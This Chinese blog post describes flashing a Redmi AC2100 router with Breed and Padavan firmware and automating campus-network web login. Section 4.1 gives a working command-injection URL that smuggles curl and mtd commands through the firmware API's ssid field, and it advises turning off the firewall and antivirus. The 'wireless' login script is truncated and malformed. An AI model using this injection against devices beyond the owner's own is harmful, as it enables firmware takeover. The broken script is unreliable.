MENU

路由器通过校园网网页验证

September 9, 2025 • Read: 163 • 学习,折腾

本笔记详细记录了使用 Redmi AC 2100 路由器刷入第三方固件,并通过脚本实现校园网网页认证的步骤和经验。

1. Redmi AC 2100 路由器选择理由

选择 Redmi AC 2100 (RM 2100) 型号的原因如下:

  • 5 G Wi-Fi 性能: 通过刷入 Padavan (老毛子) 固件,可以开启 160 MHz 频宽,充分发挥 5 G Wi-Fi 的高速潜力。
  • 社区支持: 在恩山无线论坛等社区有大量的讨论和刷机方案,遇到问题时更容易找到解决方案。
  • 性能满足需求: 宿舍宽带为 500 Mbps,RM 2100 的 5 G Wi-Fi 理论速率高达 1733 Mbps,足以满足日常使用需求。
  • 对比 R3G: 之前使用过的 R3G 路由器散热性能弱于 RM 2100,且 5 G 信号速率仅为 800 Mbps。考虑到宿舍使用对信号稳定性和性能的要求,RM 2100 是更优选择,且不打算在上面折腾过多插件。

2. 所需固件和软件

在开始刷机前,请准备好以下固件和工具:

  1. Padavan (老毛子) 固件: 支持开启 160 MHz 频宽。

    • 下载地址:padavan
    • 搜索 RM 2100,下载 RM 2100_3.4.3.9-099.Trx 文件。
  2. QB-BOOT: 适配 RM 2100 的 PB-BOOT 正式版。

  3. Breed: 由于官方 Breed 网站 (breed.hackpascal.net) 已无法访问,这里提供一个网盘链接。

  4. OpenWrt 固件 (带校园网检测插件): 可选,根据个人需求选择是否集成多播和校园网防检测插件。

  5. 官方降级包: 用于将路由器固件降级到旧版本,以便利用漏洞注入 Breed。

3. 路由器降级

为了利用旧版固件的注入漏洞,需要将路由器官方固件降级到 2.0.7 版本。

  1. 登录路由器后台管理界面。
  2. 上传上述准备好的“官方降级包”。
  3. 路由器重启后,即完成降级。

4. 注入并刷入 Breed

此步骤旨在将 Breed Web 恢复控制台注入到路由器中。参考恩山论坛的方案:小米 红米【AC2100】一键刷BREED【30秒刷完】小白帅小伙专用 检查坏块 | 无需Telnet-小米无线路由器及小米网络设备-恩山无线论坛

4.1 核心步骤

由于官方 Breed 网站无法访问,无法直接使用教程中的注入 URL。需要先下载 Breed 固件到本地,然后通过本地 HTTP 服务器提供给路由器。

  1. 获取你电脑的本地 IP 地址和路由器的 IP 地址。
  2. 登录路由器后台,在浏览器地址栏中找到 URL 中的 stok 参数值并复制下来。
  3. 在你下载 Breed 固件的文件夹中,按住 Shift 键并右键点击空白处,选择“在此处打开 PowerShell 窗口”或“在此处打开命令窗口”,输入 cmd 进入命令行。
  4. 开启一个本地 HTTP 服务器: 在命令行中执行 python -m http.server 8080 --bind 0.0.0.0请勿关闭此窗口,它将用于向路由器提供 Breed 固件。
  5. 获取 Breed 固件的 SHA 256 值: 在另一个命令行窗口中,执行 certutil -hashfile breed.bin SHA256(假设你的 Breed 固件文件名为 breed.bin)。
  6. 重要: 在进行注入操作前,务必关闭 Windows 的防火墙和杀毒软件,以避免阻碍路由器访问本地服务器。

现在,可以拼接注入 URL。

原始注入 URL 示例:

http://【路由器的IP地址】/cgi-bin/luci/;stok=【路由器的Stok】/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=%0Acd%20%2Ftmp%0Acurl%20http%3A%2F%2F【您电脑的IP地址】%3A【HTTP服务器端口】%2F【固件文件名】%20-o%20B%0A%5B%20-z%20%22%24(sha256sum%20B%20%7C%20grep%20【固件的SHA256校验值】)%22%20%5D%20%7C%7C%20mtd%20-r%20write%20B%20Bootloader%0A

URL 解码后的命令(方便理解):

http://【路由器的IP地址】/cgi-bin/luci/;stok=【路由器的Stok】/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=
cd /tmp
curl http://【您电脑的IP地址】:【HTTP服务器端口】/【固件文件名】 -o B
[ -z "$(sha256sum B | grep 【固件的SHA256校验值】)" ] || mtd -r write B Bootloader

将拼接好的注入 URL 粘贴到浏览器地址栏并回车。

路由器会重启,指示灯将从蓝色变为橙色,最终再次变为蓝色,表示已进入系统。

4.2 进入 Breed 后台

  1. 断开路由器电源。
  2. 用牙签或卡针顶住路由器的 Reset 键。
  3. 重新接上电源。
  4. 观察指示灯:如果闪烁蓝色,表示已成功进入 Breed 模式;如果闪烁橙色,则表示进入的是原厂 UBOOT。当指示灯闪蓝时,即可松开 Reset 键。
  5. 用网线将电脑连接到路由器的任意一个 LAN 口。
  6. 将电脑以太网适配器的 IP 地址手动设置为 192.168.1.100,子网掩码设置为 255.255.255.0
  7. 使用浏览器(推荐无痕模式)访问 192.168.1.1,即可进入 Breed 后台管理界面。
    Breed 后台界面

4.3 摸索过程中的经验

  • 直接使用旧注入 URL 失败: 最初尝试直接使用教程中包含的 Breed 官方网站链接进行注入,但由于网站无法访问,导致刷入失败,即使路由器返回 code 0
  • SHA 256 校验失败: 尝试刷入 22 年的 Breed 固件时,由于其 SHA 256 值与注入代码中预设的值不符,未能通过校验,导致刷入失败。

5. 刷入 Padavan 固件

在成功刷入 Breed 后,直接刷入 Padavan 或 OpenWrt 固件可能会遇到问题,导致路由器无法启动新的 Wi-Fi。

5.1 刷入失败的排查与解决方案

我尝试直接在 Breed 中刷入 Padavan 和 OpenWrt 固件,但路由器重启后几分钟内,Wi-Fi 列表中都没有出现新的 Wi-Fi,这很可能意味着刷入失败。

通过查阅恩山论坛的帖子[[红米AC2100(rm2100)breed刷入padavan老毛子无法进入、坏块 通过breed刷入pb-boot解决-小米无线路由器及小米网络设备-恩山无线论坛]],找到了解决方案:

  • 问题原因: Breed 可能没有坏块检测功能,导致在有坏块的闪存上刷入固件失败。
  • 解决方案: 需要先在 Breed 中刷入 PB-BOOT,因为 PB-BOOT 具备坏块检测功能,能更稳定地刷入固件。

5.2 正确的刷入 Padavan 步骤

  1. 备份固件: 在刷入任何固件之前,强烈建议备份路由器的 EEPROM 和编程器固件。
    备份 EEPROM 和编程器固件
  2. 在 Breed 中刷入 PB-BOOT。
  3. 在 PB-BOOT 中刷入 Padavan (老毛子) 固件。
    完成此步骤后,路由器成功重启,并能看到名为 PCDN 的 Wi-Fi 信号,表明 Padavan 固件已成功刷入。
    Padavan 后台界面
  4. 双清: 进入 Padavan 后台后,建议进行“双清”操作,以清除旧配置并确保系统稳定运行。

6. 通过校园网网页认证

学校对所有接入校园网的设备都要求通过网页验证。路由器接入校园网后,如果未认证,所有连接到路由器的设备都无法上网。让路由器通过认证,可以使宿舍所有设备无需单独验证即可联网。

有两种主要方法实现路由器通过校园网认证:

  1. MAC 克隆: 让一台电脑通过验证后,路由器克隆该电脑的 MAC 地址。此方法操作相对麻烦,但官方固件通常自带 MAC 克隆功能。
  2. 运行认证脚本: 编写一个脚本,让路由器开机自动执行,完成网页认证。这也是我选择刷机的主要原因。

通过 F 12 抓包分析发现,学校的有线和无线网络是两套独立的登录系统。登录请求均为 GET 方法。
(我曾因朋友的有线验证脚本无法在无线桥接下使用而困扰,现在终于找到原因了。)

特性无线 Wi-Fi (eportal)有线网络 (Dr. Com)
服务器 IP10.0.1.5 (801 端口)10.0.1.5 (80 端口)
登录地址/eportal/portal/login/drcom/login
密码格式Base 64 编码明文
用户名格式,0,学号学号@运营商

脚本的逻辑是启动后就每隔十秒循环 ping 114.114.114.114,如果 ping 失败就执行登录;
如果 ping 成功过十秒就继续 ping。

使用前需要关闭代理,要不然会一直显示登录失败。

6.1 无线登录脚本

#!/bin/bash
ccount Information ---
    USERNAME=""
    PASSWORD=""
    OPERATOR_CODE="unicom"  # unicom,cmcc,telecom
    # --- End of Configuration ---

    COOKIE_FILE="/tmp/drcom_cookies.txt"
    FULL_USERNAME="${USERNAME}@${OPERATOR_CODE}"
    ACTIVATE_URL="http://10.0.1.5/drcom/auth_msg.php?callback=dr1002" # Define the activation URL globally

    echo "Dr.COM Ultimate auto-login script started (with keep-alive and delays)..."

    # --- Main Loop ---
    while true; do
        # Step 1: Use the ultimate detection method by checking web content.
        if curl -s --connect-timeout 4 http://www.baidu.com/robots.txt | grep -q "User-agent"; then
            # Network is online -> send keep-alive packet.
            current_time=$(date "+%Y-%m-%d %H:%M:%S")
            echo "[${current_time}] Network is online. Sending keep-alive packet..."
            curl -s -b "$COOKIE_FILE" "$ACTIVATE_URL" -H "User-agent: Mozilla/5.0" > /dev/null

        else
            # Network is down -> execute login procedure.
            echo "[WARN] Network connection is down or abnormal. Attempting to re-login..."
            echo "    - Login account: $FULL_USERNAME"
            
            rm -f "$COOKIE_FILE"

            LOGIN_URL="http://10.0.1.5/drcom/login?callback=dr1003&DDDDD=${FULL_USERNAME}&upass=${PASSWORD}&0MKKey=123456"
            LOGIN_RESPONSE=$(curl --connect-timeout 5 -s -c "$COOKIE_FILE" "$LOGIN_URL" -H "User-Agent: Mozilla/5.0")

            if printf "%s" "$LOGIN_RESPONSE" | grep -q '"result":1'; then
                echo "[SUCCESS] Login authentication successful!"
                
                # Add a delay to wait for the authentication system to respond.
                echo "    - Waiting 2 seconds before activation..."
                sleep 2
                
                # Send activation request.
                curl -s -b "$COOKIE_FILE" "$ACTIVATE_URL" -H "User-agent: Mozilla/5.0" > /dev/null
                
                # Add a delay to wait for the network gateway to apply the new rules.
                echo "    - Activation request sent. Waiting 5 seconds for network to stabilize..."
                sleep 5
                
                if curl -s --connect-timeout 4 http://www.baidu.com/robots.txt | grep -q "User-agent"; then
                    echo "[SUCCESS] Network has been activated, and internet access is restored."
                else
                    echo "[FAIL] Network activation failed. Login was accepted, but the internet is still unreachable."
                fi
            else
                echo "[FAIL] Login authentication failed!"
                MSG=$(printf "%s" "$LOGIN_RESPONSE" | sed -n 's/.*"msg":"\([^"]*\)".*/\1/p')
                if [ -n "$MSG" ]; then
                    echo "    - Server response: $MSG"
                else
                    echo "    - Failed to connect to the login server or received an unexpected response."
                fi
            fi
        fi
        
        # Loop interval: 10 seconds.
        sleep 10
    done
) &

试过 ping 114.114.114.114 有一段时间完全 ping 失败,后面 114.114.114.114 能用后,有试过掉验证依然能 ping 成功(所以一直没执行保活),最后的版本是使用 curl baidu.com 的。

6.2 有线登录脚本

#!/bin/sh

(
    # --- 请在这里填入您的账号信息 ---
    USERNAME=""
    PASSWORD=""
    OPERATOR_CODE="unicom" # 运营商选项: unicom (联通), cmcc (移动), telecom (电信)
    # --- 配置结束 ---

    # 使用一个固定的Cookie文件路径
    COOKIE_FILE="/tmp/drcom_cookies.txt"

    # 构造带运营商后缀的完整用户名
    FULL_USERNAME="${USERNAME}@${OPERATOR_CODE}"

    # --- 主循环 ---
    while true; do
        # 步骤1: 在线状态检测
        if ping -c 2 -W 3 114.114.114.114 > /dev/null 2>&1; then
            # 如果ping成功,说明网络在线
            current_time=$(date "+%H:%M:%S")
            printf "[正常] 网络在线 [${current_time}]。10秒后再次检测... \r"
        else
            # 如果ping失败,说明网络已断开,执行登录流程
            echo "\n[警告] 网络已断开,正在尝试登录..."
            echo "    - 登录账号: $FULL_USERNAME"
            
            rm -f "$COOKIE_FILE"

            # 步骤A: 发起登录请求
            LOGIN_URL="http://10.0.1.5/drcom/login?callback=dr1003&DDDDD=${FULL_USERNAME}&upass=${PASSWORD}&0MKKey=123456"
            LOGIN_RESPONSE=$(curl -s -c "$COOKIE_FILE" "$LOGIN_URL" -H "User-Agent: Mozilla/5.0")

            if echo "$LOGIN_RESPONSE" | grep -q '"result":1'; then
                echo "[成功] 登录认证成功!"
                sleep 1
                
                # 步骤B: 发送激活请求
                ACTIVATE_URL="http://10.0.1.5/drcom/auth_msg.php?callback=dr1002"
                curl -s -b "$COOKIE_FILE" "$ACTIVATE_URL" -H "User-agent: Mozilla/5.0" > /dev/null
                
                if ping -c 2 -W 3 114.114.114.114 > /dev/null 2>&1; then
                    echo "[成功] 网络已成功激活。"
                else
                    echo "[失败] 网络激活失败,请检查认证服务器状态。"
                fi
            else
                echo "[失败] 登录失败!"
                MSG=$(echo "$LOGIN_RESPONSE" | sed -n 's/.*"msg":"\([^"]*\)".*/\1/p')
                echo "    - 服务器响应: $MSG"
            fi
        fi
        
        # 每次循环结束后,统一等待10秒
        sleep 10
    done
) &

使用方法:

  1. 将脚本保存为 .sh 文件(例如 autologin.sh)。
  2. 赋予脚本执行权限:chmod +x <脚本名>
  3. 根据脚本内的注释,填入你的学号、密码和运营商代码。
  4. 执行脚本:./<脚本名>
  5. 有线登录脚本需要放入 padavan 路由器后台开机执行脚本 里面。就可以在路由器通电后自动登录了。所以也是采用了硬编码的方法。

7. 偶遇学校断网经历

在使用 Wi-Fi 时,舍友突然断网,而我的设备仍能正常上网。

  • 初步推测: 路由器 DNS 出现问题。
  • 实际分析: 此时我仍能正常上网,且开启了代理。代理会将 DNS 请求加密并通过代理服务器发起解析(即 DoH - DNS over HTTPS)。这表明学校网络可能强制劫持所有 DNS 请求,而当时学校的 DNS 服务可能出现了故障。
  • 解决方案: 如果希望在学校 DNS 服务故障时宿舍网络仍能正常使用,可以考虑安装 AdGuard Home。在我刚安装好后,学校网络就恢复正常了,因此未能进行实际测试。下次遇到类似情况时再进行验证。

8. 参考资料

  1. 小米 红米【AC2100】一键刷BREED【30秒刷完】小白帅小伙专用 检查坏块 | 无需Telnet-小米无线路由器及小米网络设备-恩山无线论坛 - Powered by Discuz!
  2. 红米AC2100(rm2100)breed刷入padavan老毛子无法进入、坏块 通过breed刷入pb-boot解决-小米无线路由器及小米网络设备-恩山无线论坛 - Powered by Discuz!
Last Modified: September 20, 2025
Leave a Comment

3 Comments
  1. 小舟从此逝 小舟从此逝

    不赖

  2. 测试

  3. aaa aaa

    老哥这个脚本现在还能用吗,我宿国庆后就被限速到个位数Mbps#(狂汗)